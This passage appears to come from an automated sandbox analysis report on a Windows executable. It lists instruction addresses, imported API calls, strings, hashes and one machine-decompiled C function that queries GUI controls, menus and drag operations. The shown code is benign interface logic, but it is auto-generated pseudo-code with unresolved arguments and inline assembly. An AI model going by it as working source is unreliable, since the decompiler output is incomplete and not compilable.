0x00000000
0x00000000
0x00d8d443
0x00d8d457
0x00d8d462
0x00d8d468
0x00d8d46a
0x00000000
0x00000000
0x00d8d470
0x00d8d475
0x00000000
0x00000000
0x00d8d48d
0x00d8d492
0x00d8d494
0x00d8d4b1
0x00d8d4b5
0x00000000
0x00d8d4b5
0x00d8d496
0x00d8d49a
0x00d8d49f
0x00d8d4a6
0x00d8d4a8
0x00d8d4aa
0x00000000
0x00000000
0x00d8d4ac
0x00d8d4af
0x00000000
0x00000000
0x00000000
0x00d8d4af
0x00d8d3d6
0x00d8d3d8
0x00d8d3dc
0x00d8d3e0
0x00d8d3e3
0x00000000
0x00000000
0x00d8d3e9
0x00000000
0x00d8d3e9
0x00d8d22b
0x00d8d22e
0x00000000
0x00000000
0x00d8d23e
0x00d8d248
0x00d8d255
0x00d8d25f
0x00d8d264
0x00d8d267
0x00000000
0x00000000
0x00d8d26d
0x00d8d278
0x00d8d27e
0x00d8d280
0x00000000
0x00000000
0x00d8d286
0x00d8d288
0x00d8d303
0x00d8d30b
0x00d8d31c
0x00d8d322
0x00d8d324
0x00d8d32a
0x00d8d33b
0x00d8d343
0x00d8d34b
0x00d8d351
0x00d8d356
0x00d8d36c
0x00d8d37b
0x00d8d37b
0x00d8d356
0x00000000
0x00d8d324
0x00d8d28a
0x00d8d28c
0x00000000
0x00000000
0x00d8d298
0x00d8d2a0
0x00d8d2b1
0x00d8d2b7
0x00d8d2ba
0x00000000
0x00000000
0x00d8d2c0
0x00d8d2d4
0x00d8d2df
0x00d8d2e5
0x00d8d2ea
0x00000000
0x00000000
0x00d8d2f0
0x00d8d2f1
0x00d8d002
0x00d8d002
0x00000000
0x00d8d002
0x00d8d078
0x00d8d20e
0x00000000
0x00d8d20e
0x00d8d07e
0x00d8d084
0x00d8d1fd
0x00d8d203
0x00000000
0x00d8d203
0x00d8d08a
0x00d8d090
0x00000000
0x00000000
0x00d8d096
0x00d8d099
0x00d8d15b
0x00d8d16e
0x00d8d177
0x00d8d184
0x00d8d189
0x00d8d18d
0x00d8d191
0x00d8d199
0x00d8d1a6
0x00d8d1af
0x00d8d1b3
0x00d8d1c8
0x00d8d1d1
0x00d8d1d6
0x00d8d1dc
0x00d8d1e9
0x00d8d1f3
0x00d8d09f
0x00d8d09f
0x00d8d0a2
0x00d8d0a8
0x00d8d0bb
0x00d8d0c0
0x00d8d0c2
0x00d8d0c8
0x00d8d0d1
0x00d8d0dc
0x00d8d0e3
0x00d8d0e6
0x00d8d0eb
0x00d8d0f1
0x00d8d0f8
0x00d8d0fa
0x00d8d0fe
0x00d8d104
0x00d8d118
0x00d8d11d
0x00d8d136
0x00d8d145
0x00d8d145
0x00d8d0fe
0x00d8d0c2
0x00d8d0a2
0x00000000
0x00d8d099
0x00d8cded
0x00d8d00c
0x00d8d00c
0x00d8d018
0x00d8d01e
0x00d8d020
0x00000000
0x00000000
0x00d8d026
0x00d8d037
0x00d8d03f
0x00d8d045
0x00d8d047
0x00000000
0x00000000
0x00d8d050
0x00d8d053
0x00000000
0x00000000
0x00d8d059
0x00d8d060
0x00000000
0x00000000
0x00d8d066
0x00d8cf31
0x00d8cf31
0x00000000
0x00000000
0x00d8cf37
0x00d8cf38
0x00000000
0x00d8cf38
0x00d8cdf8
0x00d8cdfa
0x00d8ce9d
0x00d8cea3
0x00d8cfc2
0x00d8cfc4
0x00d8cfc7
0x00000000
0x00000000
0x00d8cfcf
0x00d8cfd1
0x00d8cfd4
0x00000000
0x00000000
0x00d8cfed
0x00d8cfef
0x00d8cff5
0x00d8cff8
0x00d8cffd
0x00d8cffd
0x00d8cffa
0x00d8cffa
0x00d8cffa
0x00d8cffe
0x00d8cfff
0x00d8cfff
0x00000000
0x00d8cfff
0x00d8cea9
0x00d8ceaf
0x00d8cf41
0x00d8cf48
0x00000000
0x00000000
0x00d8cf4e
0x00d8cf56
0x00d8cf57
0x00d8cf59
0x00000000
0x00000000
0x00d8cf5f
0x00d8cf65
0x00d8cf68
0x00d8cf6a
0x00d8cf6c
0x00000000
0x00000000
0x00d8cf72
0x00d8cf75
0x00d8cf78
0x00000000
0x00000000
0x00d8cf81
0x00d8cf84
0x00000000
0x00000000
0x00d8cf86
0x00d8cf86
0x00d8cf87
0x00d8cf87
0x00d8cf8b
0x00d8cf8d
0x00000000
0x00000000
0x00d8cfa1
0x00d8cfa9
0x00d8cfab
0x00000000
0x00d8cfab
0x00d8ceb5
0x00d8cebb
0x00000000
0x00000000
0x00d8cec1
0x00d8cec7
0x00000000
0x00000000
0x00d8cecd
0x00d8ced2
0x00d8ced6
0x00d8cedc
0x00d8cee1
0x00000000
0x00000000
0x00d8cee7
0x00d8ceec
0x00000000
0x00000000
0x00d8cef2
0x00d8cf00
0x00d8cf06
0x00d8cf08
0x00000000
0x00000000
0x00d8cf0e
0x00d8cf21
0x00d8cf2f
0x00000000
0x00d8cf2f
0x00d8ce00
0x00d8ce97
0x00000000
0x00d8ce97
0x00d8ce0c
0x00d8ce67
0x00d8ce6e
0x00d8ce75
0x00000000
0x00d8ce77
0x00d8ce77
0x00d8ce7e
0x00000000
0x00d8ce7e
0x00d8ce75
0x00d8ce14
0x00d8ce5e
0x00000000
0x00d8ce5e
0x00d8ce1c
0x00d8ce2c
0x00d8ce33
0x00d8ce35
0x00d8ce36
0x00d8ce39
0x00d8ce39
0x00d8ce3e
0x00000000
0x00d8ce3e
0x00d8ce24
0x00000000
0x00d8ce26
0x00d8ce26
0x00000000
0x00d8ce26

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00D8CE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D8CE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00D8CED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D8CF00
SendMessageW.USER32 ref: 00D8CF29
_wcsncpy.LIBCMT ref: 00D8CFA1
GetKeyState.USER32(00000011), ref: 00D8CFC2
GetKeyState.USER32(00000009), ref: 00D8CFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D8CFE5
GetKeyState.USER32(00000010), ref: 00D8CFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D8D018
SendMessageW.USER32 ref: 00D8D03F
SendMessageW.USER32(?,00001030,?,00D8B602), ref: 00D8D145
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00D8D15B
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00D8D16E
SetCapture.USER32(?), ref: 00D8D177
ClientToScreen.USER32(?,?), ref: 00D8D1DC
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00D8D1E9
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D8D203
ReleaseCapture.USER32(?,?,?), ref: 00D8D20E
GetCursorPos.USER32(?), ref: 00D8D248
ScreenToClient.USER32 ref: 00D8D255
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D8D2B1
SendMessageW.USER32 ref: 00D8D2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D8D31C
SendMessageW.USER32 ref: 00D8D34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00D8D36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00D8D37B
GetCursorPos.USER32(?), ref: 00D8D39B
ScreenToClient.USER32 ref: 00D8D3A8
GetParent.USER32(?), ref: 00D8D3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D8D431
SendMessageW.USER32 ref: 00D8D462
ClientToScreen.USER32(?,?), ref: 00D8D4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00D8D4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D8D51A
SendMessageW.USER32 ref: 00D8D53D
ClientToScreen.USER32(?,?), ref: 00D8D58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00D8D5C3

Part of subcall function 00D025DB: GetWindowLongW.USER32(?,000000EB), ref: 00D025EC

GetWindowLongW.USER32(?,000000F0), ref: 00D8D65F

Strings

@GUI_DRAGID, xrefs: 00D8D1AA
F, xrefs: 00D8D543

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: ccee4842d9b192939d3078cfa4cd6fe3c91cd29fbb17cad9dda21f0b5d372f52
Instruction ID: 2d586fb58bf26e887ef6232e349a0689938eb56744ccd6e29a27b002d5aa9788
Opcode Fuzzy Hash: ccee4842d9b192939d3078cfa4cd6fe3c91cd29fbb17cad9dda21f0b5d372f52
Instruction Fuzzy Hash: 9F425970214741EFD725AF28C888FAABBE5EF49314F180A19F695972E1D731D850CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D8804A, Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00D8804A(signed int _a4, long _a8, WCHAR* _a12) {
				signed int _v12;
				signed int _v16;
				intOrPtr _v32;
				WCHAR* _v36;
				intOrPtr _v40;
				signed char _v44;
				long _v48;
				void* _v52;
				signed int _v72;
				intOrPtr _v80;
				WCHAR* _v84;
				intOrPtr _v88;
				unsigned int _v92;
				intOrPtr _v96;
				long _v100;
				void* _v104;
				signed short _v114;
				signed short _v118;
				void* _v120;
				char _v124;
				signed int _v128;
				signed int _v140;
				void* _v148;
				void* _v152;
				intOrPtr _v160;
				intOrPtr _v164;
				signed int _v188;
				intOrPtr _v196;
				char _v200;
				void* __ebx;
				void* __edi;
				intOrPtr _t167;
				signed int _t169;
				signed int _t170;
				signed int _t177;
				long _t184;
				signed int _t186;
				void* _t189;
				short _t192;
				WCHAR* _t194;
				signed int _t198;
				long _t214;
				signed int _t220;
				long _t221;
				WCHAR* _t224;
				signed int _t225;
				long _t233;
				signed int _t235;
				signed int _t241;
				signed int _t244;
				long _t246;
				signed int _t248;
				signed int _t255;
				int _t256;
				long _t258;
				long _t260;
				int _t263;
				signed int _t265;
				long _t267;
				signed int _t272;
				long _t274;
				int _t280;
				WCHAR* _t281;
				struct HWND__** _t285;
				WCHAR* _t292;
				signed char _t321;
				signed int _t325;
				WCHAR* _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				signed int _t348;
				signed int _t350;
				void* _t356;
				int _t357;
				long _t361;
				struct HWND__* _t368;
				signed int _t370;
				WCHAR* _t372;
				int _t373;
				signed int _t376;

				if(E00D02402(0xdc67b0, _a4,  &_v124,  &_v12) != 0) {
					_t167 =  *0xdc6824; // 0x1088d30
					_t280 = _a8;
					 *_t280 =  *_t280 | 0xffffffff;
					_t285 =  *( *(_t167 + _v12 * 4));
					_v12 = _t285;
					_t169 = _t285[0x24] & 0x000000ff;
					_t368 =  *_t285;
					_a8 = _t368;
					__eflags = _t169 - 0x11;
					if(__eflags > 0) {
						__eflags = _t169 - 0x12;
						if(_t169 == 0x12) {
							__eflags = 0;
							_push(0);
							_push(0);
							_push(0x400);
							L88:
							_t170 = SendMessageW(_t368, ??, ??, ??);
							L89:
							 *_t280 = _t170;
							goto L90;
						}
						__eflags = _t169 - 0x13;
						if(_t169 == 0x13) {
							 *_t280 = SendMessageW(_t368, 0x100c, 0xffffffff, 2);
							E00D23020( &_v104, 0, 0x34);
							_v100 =  *_t280;
							_v104 = 4;
							_t177 = SendMessageW(_a8, 0x104b, 0,  &_v104);
							asm("sbb eax, eax");
							_t170 =  ~_t177 & _v72;
							goto L89;
						}
						__eflags = _t169 - 0x14;
						if(_t169 == 0x14) {
							 *_t280 =  *_t280 | 0xffffffff;
							_a8 = GetWindowLongW(_t285[0xd], 0xffffffec);
							E00D23020( &_v104, 0, 0x34);
							_t370 = _v12;
							_v140 = _a4;
							_v148 = 1;
							_t184 = SendMessageW( *(_t370 + 0x34), 0x1053, 0xffffffff,  &_v148);
							_v100 = _t184;
							__eflags = _t184 - 0xffffffff;
							if(_t184 == 0xffffffff) {
								goto L90;
							}
							__eflags = _a8 & 0x00000004;
							if(__eflags == 0) {
								L81:
								_t281 = E00D20FF6(_t280, 0, __eflags, 0x2000);
								_v104 = 1;
								_t338 = _t281;
								_v80 = 0xfff;
								_a12 = _t338;
								__eflags = 0 -  *((intOrPtr*)(_t370 + 0x94));
								_t186 = 0;
								while(1) {
									_a4 = _t186;
									_v96 = _t186;
									_push( &_v104);
									_push(0);
									_push(0x104b);
									_push( *(_t370 + 0x34));
									_v84 = _t338;
									if(__eflags >= 0) {
										break;
									}
									SendMessageW();
									_t189 = E00D22E3C(_a12);
									_v80 = 0xffe;
									__eflags = 0xffe - _t189;
									if(0xffe - _t189 <= 0) {
										L26:
										return _t281;
									}
									_t292 =  &(_t281[E00D22E3C(_t281)]);
									_t192 =  *0xdc67c4; // 0x7c
									 *_t292 = _t192;
									_t292[1] = 0;
									_t194 = CharNextW(_t292);
									_t338 = _t194;
									_a12 = _t194;
									_t186 = _a4 + 1;
									__eflags = _t186 -  *((short*)(_t370 + 0x94));
								}
								SendMessageW();
								goto L26;
							}
							__eflags = _a12;
							if(__eflags == 0) {
								goto L81;
							}
							_v104 = 8;
							_v88 = 0xf000;
							_t198 = SendMessageW( *(_t370 + 0x34), 0x104b, 0,  &_v104);
							__eflags = _t198;
							if(_t198 == 0) {
								goto L90;
							}
							asm("sbb eax, eax");
							_t170 = ( ~((_v92 >> 0xc) - 1) & 0xfffffffd) + 4;
							goto L89;
						}
						__eflags = _t169 - 0x15;
						if(_t169 == 0x15) {
							__eflags = _t285[0x1f] - 4;
							if(_t285[0x1f] != 4) {
								_t170 = E00D09C9C( &(_t285[0x1c]));
								goto L89;
							}
							_t282 =  &(_t285[0x1c]);
							E00D09997(_t169,  &(_t285[0x1c]),  &(_t285[0x1c]));
							_t339 = 2;
							_t356 = E00D20FF6(_t282, 0, __eflags,  ~(0 | __eflags > 0x00000000) | ( *((intOrPtr*)(_t282[2] + 4)) + 0x00000001) * _t339);
							E00D09997(E00D09997(_t209, _t282, _t282), _t282, _t282);
							E00D0463E(_t356,  *(_t282[2]),  *((intOrPtr*)(_t282[2] + 4)) + 1);
							return _t356;
						}
						__eflags = _t169 - 0x18;
						if(__eflags <= 0) {
							L72:
							_t214 = SendMessageW(_t368, 0xe, 0, 0);
							_t343 = 2;
							_t100 = _t214 + 1; // 0x1
							_t357 = _t100;
							_t372 = E00D20FF6(_t280, _t357, __eflags,  ~(0 | __eflags > 0x00000000) | _t357 * _t343);
							GetWindowTextW(_a8, _t372, _t357);
							L13:
							return _t372;
						}
						__eflags = _t169 - 0x1a;
						if(_t169 <= 0x1a) {
							__eflags = _a12;
							_push(0);
							_push(0);
							if(__eflags == 0) {
								_t220 = SendMessageW(_t368, 0xf0, ??, ??);
								 *_t280 = _t220;
								__eflags = _t220;
								if(_t220 == 0) {
									 *_t280 = 4;
								}
								goto L90;
							}
							_t221 = SendMessageW(_t368, 0xe, ??, ??);
							_t345 = 2;
							_t89 = _t221 + 1; // 0x1
							_t373 = _t89;
							_t224 = E00D20FF6(_t280, 0, __eflags,  ~(0 | __eflags > 0x00000000) | _t373 * _t345);
							_a12 = _t224;
							_t225 = GetWindowTextW(_a8, _t224, _t373);
							__eflags = _t225;
							if(_t225 != 0) {
								return _a12;
							}
							_push(_a12);
							 *_t280 = 0;
							L28:
							L00D2106C();
							goto L90;
						}
						__eflags = _t169 - 0x1c;
						if(__eflags != 0) {
							goto L72;
						}
						__eflags = SendMessageW(_t368, 0x1001, 0,  &_v120);
						if(__eflags == 0) {
							 *_t280 = 0;
							goto L90;
						}
						_t372 = E00D20FF6(_t280, 0, __eflags, 0x16);
						wsprintfW(_t372, L"%d/%02d/%02d", _v120 & 0x0000ffff, _v118 & 0x0000ffff, _v114 & 0x0000ffff);
						goto L13;
					}
					if(__eflags == 0) {
						_v48 = _t285[4];
						 *_t280 = 0;
						_t233 = GetWindowLongW(_t285[0xd], 0xfffffff0);
						__eflags = _a12;
						_a4 = _t233;
						_v52 = 8;
						_v40 = 0xf000;
						if(__eflags == 0) {
							_t235 = SendMessageW( *(_v12 + 0x34), 0x113e, 0,  &_v52);
							__eflags = _t235;
							if(_t235 != 0) {
								_t321 = _v44;
								__eflags = _a4 & 0x00000100;
								if((_a4 & 0x00000100) != 0) {
									asm("sbb eax, eax");
									_t241 = ( ~((_t321 >> 0xc) - 1) & 0xfffffffd) + 4;
									__eflags = _t241;
									 *_t280 = _t241;
								}
								__eflags = _t321 & 0x00000002;
								if((_t321 & 0x00000002) != 0) {
									 *_t280 =  *_t280 | 0x00000100;
									__eflags =  *_t280;
								}
								__eflags = _t321 & 0x00000020;
								if((_t321 & 0x00000020) != 0) {
									 *_t280 =  *_t280 | 0x00000400;
									__eflags =  *_t280;
								}
								__eflags = _t321 & 0x00000010;
								if((_t321 & 0x00000010) != 0) {
									 *_t280 =  *_t280 | 0x00000200;
								}
							}
							goto L90;
						}
						_t281 = E00D20FF6(_t280, 0, __eflags, 0x2000);
						_push( &_v52);
						_push(0);
						_push(0x113e);
						_push( *(_v12 + 0x34));
						L25:
						_v32 = 0xfff;
						_v36 = _t281;
						_v52 = 1;
						_t244 = SendMessageW(??, ??, ??, ??);
						__eflags = _t244;
						if(_t244 == 0) {
							_push(_t281);
							goto L28;
						}
						goto L26;
					}
					__eflags = _t169 - 0xa;
					if(__eflags > 0) {
						__eflags = _t169 - 0xc;
						if(_t169 == 0xc) {
							 *_t280 =  *_t280 & 0;
							goto L90;
						}
						__eflags = _t169 - 0xd;
						if(__eflags <= 0) {
							goto L72;
						}
						__eflags = _t169 - 0xf;
						if(_t169 <= 0xf) {
							__eflags = IsMenu(_t285[3]);
							if(__eflags == 0) {
								goto L90;
							}
							_t246 = E00D20FF6(_t280, 0, __eflags, 0x208);
							__eflags = _a12;
							_t361 = _t246;
							_t376 = _v12;
							_a8 = _t361;
							_v200 = 0x30;
							_push( &_v200);
							if(_a12 == 0) {
								_v196 = 1;
								_t248 = GetMenuItemInfoW( *(_t376 + 0xc), _a4, 0, ??);
								_push(_t361);
								__eflags = _t248;
								if(_t248 == 0) {
									goto L28;
								}
								L00D2106C();
								_t325 = _v188;
								 *_t280 = _t325;
								asm("sbb eax, eax");
								_t255 = ( ~(_t325 & 0x00000003) & 0x00000040) + 0x40;
								__eflags = _t325 & 0x00008080;
								if((_t325 & 0x00008080) != 0) {
									_t255 = _t255 | 0x00000100;
									__eflags = _t255;
								}
								__eflags = _t325 & 0x00000008;
								if((_t325 & 0x00000008) == 0) {
									_t170 = _t255 | 0x00000004;
									__eflags = _t170;
								} else {
									_t170 = _t255 | 0x00000001;
								}
								__eflags = _t325 & 0x00001000;
								if((_t325 & 0x00001000) != 0) {
									_t170 = _t170 | 0x00000200;
								}
								goto L89;
							}
							_v164 = _t361;
							_v196 = 0x10;
							_v160 = 0x104;
							_t256 = GetMenuItemInfoW( *(_t376 + 0xc), _a4, 0, ??);
							__eflags = _t256;
							if(_t256 != 0) {
								return _a8;
							}
							_push(_a8);
							 *_t280 = 0;
							goto L28;
						}
						__eflags = _t169 - 0x10;
						if(__eflags != 0) {
							goto L72;
						}
						 *_t280 = 0;
						_t258 = SendMessageW(_t368, 0x110a, 9, 0);
						__eflags = _t258;
						if(_t258 == 0) {
							goto L90;
						}
						__eflags = _a12;
						_v48 = _t258;
						_v52 = 4;
						if(__eflags == 0) {
							_t260 = SendMessageW(_t368, 0x113e, 0,  &_v52);
							__eflags = _t260;
							if(_t260 == 0) {
								goto L90;
							}
							_t170 = _v16;
							goto L89;
						}
						_t281 = E00D20FF6(_t280, 0, __eflags, 0x2000);
						_push( &_v52);
						_push(0);
						_push(0x113e);
						_push(_t368);
						goto L25;
					}
					if(__eflags == 0) {
						_t263 = SendMessageW(_t368, 0x130b, 0, 0);
						__eflags = _a12;
						 *_t280 = _t263;
						if(_a12 == 0) {
							goto L90;
						}
						_v152 = 8;
						SendMessageW(_t368, 0x133c, _t263,  &_v152);
						_t170 = _v128;
						goto L89;
					}
					_t265 = _t169;
					__eflags = _t265;
					if(_t265 == 0) {
						_t280 = SendMessageW(_t368, 0x147, 0, 0);
						__eflags = _t280 - 0xffffffff;
						if(__eflags == 0) {
							goto L72;
						}
						_t267 = SendMessageW(_t368, 0x149, _t280, 0);
						_t348 = 2;
						_t372 = E00D20FF6(_t280, SendMessageW, __eflags,  ~(0 | __eflags > 0x00000000) | (_t267 + 0x00000001) * _t348);
						_push(_t372);
						_push(_t280);
						_push(0x148);
						L12:
						SendMessageW(_a8, ??, ??, ??);
						goto L13;
					}
					_t272 = _t265 - 1;
					__eflags = _t272;
					if(_t272 == 0) {
						_t280 = SendMessageW(_t368, 0x188, 0, 0);
						__eflags = _t280 - 0xffffffff;
						if(__eflags == 0) {
							goto L72;
						} else {
							_t274 = SendMessageW(_t368, 0x18a, _t280, 0);
							_t350 = 2;
							_t336 =  ~(__eflags > 0) | (_t274 + 0x00000001) * _t350;
							_t372 = E00D20FF6(_t280, SendMessageW,  ~(__eflags > 0) | (_t274 + 0x00000001) * _t350, _t336);
							_push(_t372);
							_push(_t280);
							_push(0x189);
							goto L12;
						}
					}
					__eflags = _t272 - 7;
					if(__eflags != 0) {
						goto L72;
					} else {
						_push(0);
						_push(0);
						_push(0x408);
						goto L88;
					}
				} else {
					 *_a8 =  *_a8 & 0x00000000;
					L90:
					return 0;
				}
			}

0x00d8806d
0x00d8807f
0x00d88084
0x00d8808a
0x00d8808d
0x00d8808f
0x00d88092
0x00d88099
0x00d8809b
0x00d8809e
0x00d880a1
0x00d8840e
0x00d88411
0x00d88735
0x00d88737
0x00d88738
0x00d88739
0x00d8873e
0x00d8873f
0x00d88745
0x00d88745
0x00000000
0x00d88745
0x00d88417
0x00d8841a
0x00d88700
0x00d88709
0x00d88713
0x00d88719
0x00d8872a
0x00d8872e
0x00d88730
0x00000000
0x00d88730
0x00d88420
0x00d88423
0x00d885a3
0x00d885b3
0x00d885bd
0x00d885c8
0x00d885cb
0x00d885d7
0x00d885ec
0x00d885f2
0x00d885f5
0x00d885f8
0x00000000
0x00000000
0x00d885fe
0x00d88602
0x00d88649
0x00d88653
0x00d88655
0x00d8865d
0x00d8865f
0x00d88668
0x00d8866b
0x00d88672
0x00d886c9
0x00d886c9
0x00d886cc
0x00d886d2
0x00d886d3
0x00d886d4
0x00d886d9
0x00d886dc
0x00d886df
0x00000000
0x00000000
0x00d88676
0x00d8867f
0x00d8868c
0x00d8868f
0x00d88691
0x00d88238
0x00000000
0x00d88238
0x00d8869e
0x00d886a1
0x00d886a7
0x00d886ad
0x00d886b1
0x00d886be
0x00d886c0
0x00d886c6
0x00d886c7
0x00d886c7
0x00d886e1
0x00000000
0x00d886e1
0x00d88604
0x00d88608
0x00000000
0x00000000
0x00d8860d
0x00d8861e
0x00d88625
0x00d8862b
0x00d8862d
0x00000000
0x00000000
0x00d8863c
0x00d88641
0x00000000
0x00d88641
0x00d88429
0x00d8842c
0x00d8853c
0x00d88540
0x00d88599
0x00000000
0x00d88599
0x00d88542
0x00d88547
0x00d88553
0x00d8856a
0x00d88579
0x00d88589
0x00000000
0x00d8858f
0x00d88432
0x00d88435
0x00d88505
0x00d8850a
0x00d88514
0x00d88515
0x00d88515
0x00d8852b
0x00d88531
0x00d88125
0x00000000
0x00d88125
0x00d8843b
0x00d8843e
0x00d88495
0x00d88499
0x00d8849a
0x00d8849b
0x00d884ea
0x00d884f0
0x00d884f2
0x00d884f4
0x00d884fa
0x00d884fa
0x00000000
0x00d884f4
0x00d884a0
0x00d884aa
0x00d884ab
0x00d884ab
0x00d884ba
0x00d884c5
0x00d884c8
0x00d884ce
0x00d884d0
0x00000000
0x00d884dc
0x00d884d2
0x00d884d5
0x00d88240
0x00d88240
0x00000000
0x00d88245
0x00d88440
0x00d88443
0x00000000
0x00000000
0x00d8845c
0x00d8845e
0x00d8848c
0x00000000
0x00d8848c
0x00d8846b
0x00d8847e
0x00000000
0x00d88484
0x00d880a7
0x00d88367
0x00d8836a
0x00d8836c
0x00d88372
0x00d88376
0x00d88379
0x00d88380
0x00d88387
0x00d883bb
0x00d883c1
0x00d883c3
0x00d883c9
0x00d883d1
0x00d883d4
0x00d883de
0x00d883e3
0x00d883e3
0x00d883e6
0x00d883e6
0x00d883e8
0x00d883eb
0x00d883ed
0x00d883ed
0x00d883ed
0x00d883ef
0x00d883f2
0x00d883f4
0x00d883f4
0x00d883f4
0x00d883fa
0x00d883fd
0x00d88403
0x00d88403
0x00d883fd
0x00000000
0x00d883c3
0x00d88396
0x00d8839c
0x00d8839d
0x00d8839e
0x00d883a3
0x00d8821d
0x00d8821d
0x00d88224
0x00d88227
0x00d8822e
0x00d88234
0x00d88236
0x00d8823f
0x00000000
0x00d8823f
0x00000000
0x00d88236
0x00d880ad
0x00d880b0
0x00d881b6
0x00d881b9
0x00d88356
0x00000000
0x00d88356
0x00d881bf
0x00d881c2
0x00000000
0x00000000
0x00d881c8
0x00d881cb
0x00d88275
0x00d88277
0x00000000
0x00000000
0x00d88282
0x00d88287
0x00d8828b
0x00d8828d
0x00d88297
0x00d8829a
0x00d882a4
0x00d882a5
0x00d882eb
0x00d882f8
0x00d882fe
0x00d882ff
0x00d88301
0x00000000
0x00000000
0x00d88307
0x00d8830d
0x00d88317
0x00d8831e
0x00d88323
0x00d88326
0x00d8832c
0x00d8832e
0x00d8832e
0x00d8832e
0x00d88333
0x00d88336
0x00d8833d
0x00d8833d
0x00d88338
0x00d88338
0x00d88338
0x00d88340
0x00d88346
0x00d8834c
0x00d8834c
0x00000000
0x00d88346
0x00d882a7
0x00d882b3
0x00d882c0
0x00d882ca
0x00d882d0
0x00d882d2
0x00000000
0x00d882de
0x00d882d4
0x00d882d7
0x00000000
0x00d882d7
0x00d881d1
0x00d881d4
0x00000000
0x00000000
0x00d881e5
0x00d881e7
0x00d881ed
0x00d881ef
0x00000000
0x00000000
0x00d881f5
0x00d881f9
0x00d881fc
0x00d88203
0x00d88256
0x00d8825c
0x00d8825e
0x00000000
0x00000000
0x00d88264
0x00000000
0x00d88264
0x00d88210
0x00d88215
0x00d88216
0x00d88217
0x00d8821c
0x00000000
0x00d8821c
0x00d880b6
0x00d88186
0x00d88188
0x00d8818c
0x00d8818e
0x00000000
0x00000000
0x00d8819a
0x00d881ac
0x00d881ae
0x00000000
0x00d881ae
0x00d880bc
0x00d880bc
0x00d880be
0x00d8813a
0x00d8813c
0x00d8813f
0x00000000
0x00000000
0x00d88153
0x00d8815a
0x00d8816b
0x00d8816d
0x00d8816e
0x00d8816f
0x00d88120
0x00d88123
0x00000000
0x00d88123
0x00d880c0
0x00d880c0
0x00d880c1
0x00d880e6
0x00d880e8
0x00d880eb
0x00000000
0x00d880f1
0x00d880ff
0x00d88106
0x00d8810e
0x00d88117
0x00d88119
0x00d8811a
0x00d8811b
0x00000000
0x00d8811b
0x00d880eb
0x00d880c3
0x00d880c6
0x00000000
0x00d880cc
0x00d880cc
0x00d880cd
0x00d880ce
0x00000000
0x00d880ce
0x00d8806f
0x00d88072
0x00d88747
0x00000000
0x00d88747

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00D8873F

Strings

%d/%02d/%02d, xrefs: 00D88478

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: e0b8f6b53ccf945e982b1b678182825a95fd2b2c80627509fe87b5de13aa2cc8
Instruction ID: 06f117eb8d968ff8b5838d4c7efa5ab640eb936972737c123d36f97ebcd8e911
Opcode Fuzzy Hash: e0b8f6b53ccf945e982b1b678182825a95fd2b2c80627509fe87b5de13aa2cc8
Instruction Fuzzy Hash: 9312F271500354ABEB24AF28DC49FAE7BB8EF49710F644169F915EA2E1EF708941DB30

Uniqueness

Uniqueness Score: -1.00%

Function 00D1710E, Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D175C2
_memset.LIBCMT ref: 00D176B1
_memmove.LIBCMT ref: 00D17C4B
_memmove.LIBCMT ref: 00D17E4F

Strings

Q\E, xrefs: 00D181C1
[:<:]], xrefs: 00D175F1
DEFINE, xrefs: 00D525AF
\b(?=\w), xrefs: 00D53C34
\b(?<=\w), xrefs: 00D53C41
[:>:]], xrefs: 00D1760A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

